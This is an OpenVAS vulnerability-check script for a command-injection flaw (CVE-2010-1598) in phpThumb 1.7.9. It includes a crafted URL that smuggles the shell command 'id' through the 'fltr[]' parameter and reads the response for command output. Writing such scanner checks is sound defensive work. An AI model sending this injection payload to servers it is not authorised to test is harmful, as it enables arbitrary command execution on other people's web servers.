phpThumb 'fltr[]' Parameter Command Injection Vulnerability

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_phpthumb_cmd_inj_vuln.nasl 5373 2017-02-20 16:27:48Z teissa $
#
# phpThumb 'fltr[]' Parameter Command Injection Vulnerability
#
# Authors:
# Sooraj KS <[email protected]>
#
# Updated from version check to active exploit by Michael Meyer
# <[email protected]>
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH, http://www.greenbone.net
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_impact = "Successful exploitation will allow attacker to inject and execute
arbitrary shell commands via specially crafted requests in the context of the
web server.

Impact Level: Application";

tag_affected = "phpThumb Version 1.7.9";

tag_insight = "The flaw is caused by improper validation of user-supplied input
via the 'fltr[]' parameter to 'phpThumb.php', which allow attackers to inject
and execute arbitrary shell commands via specially crafted requests.";

tag_solution = "Upgrade to version 1.7.9 or later,
For updates refer to http://phpthumb.sourceforge.net/#download";

tag_summary = "The host is running phpThumb and is prone to command injection
vulnerability.";

if(description)
{
  script_id(801233);
  script_version("$Revision: 5373 $");
  script_tag(name:"last_modification", value:"$Date: 2017-02-20 17:27:48 +0100 (Mon, 20 Feb 2017) $");
  script_tag(name:"creation_date", value:"2010-11-11 07:48:04 +0100 (Thu, 11 Nov 2010)");
  script_cve_id("CVE-2010-1598");
  script_bugtraq_id(39605);
  script_tag(name:"cvss_base", value:"6.8");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_name("phpThumb 'fltr[]' Parameter Command Injection Vulnerability");
  script_xref(name : "URL" , value : "http://secunia.com/advisories/39556");
  script_xref(name : "URL" , value : "http://xforce.iss.net/xforce/xfdb/58040");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2010 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_phpthumb_detect.nasl");
  script_require_ports("Services/www", 80);
  script_tag(name : "impact" , value : tag_impact);
  script_tag(name : "affected" , value : tag_affected);
  script_tag(name : "insight" , value : tag_insight);
  script_tag(name : "solution" , value : tag_solution);
  script_tag(name : "summary" , value : tag_summary);
  exit(0);
}


include("http_func.inc");
include("http_keepalive.inc");
include("version_func.inc");

## Get HTTP Port
port = get_http_port(default:80);
if(!port){
  exit(0);
}

if(!dir = get_dir_from_kb(port:port,app:"phpThumb"))exit(0);
url = dir + '/phpThumb.php?src=/home/example.com/public_html/openvas.jpg&fltr[]=blur|5%20-quality%2075%20-interlace%20line%20%22/home/example.com/public_html/openvas.jpg%22%20jpeg:%22/home/example.com/public_html/openas.jpg%22;id;&phpThumbDebug=9';

if(http_vuln_check(port:port, url:url,pattern:"uid=[0-9]+.*gid=[0-9]+.*")) {

   security_message(port:port);
   exit(0);

}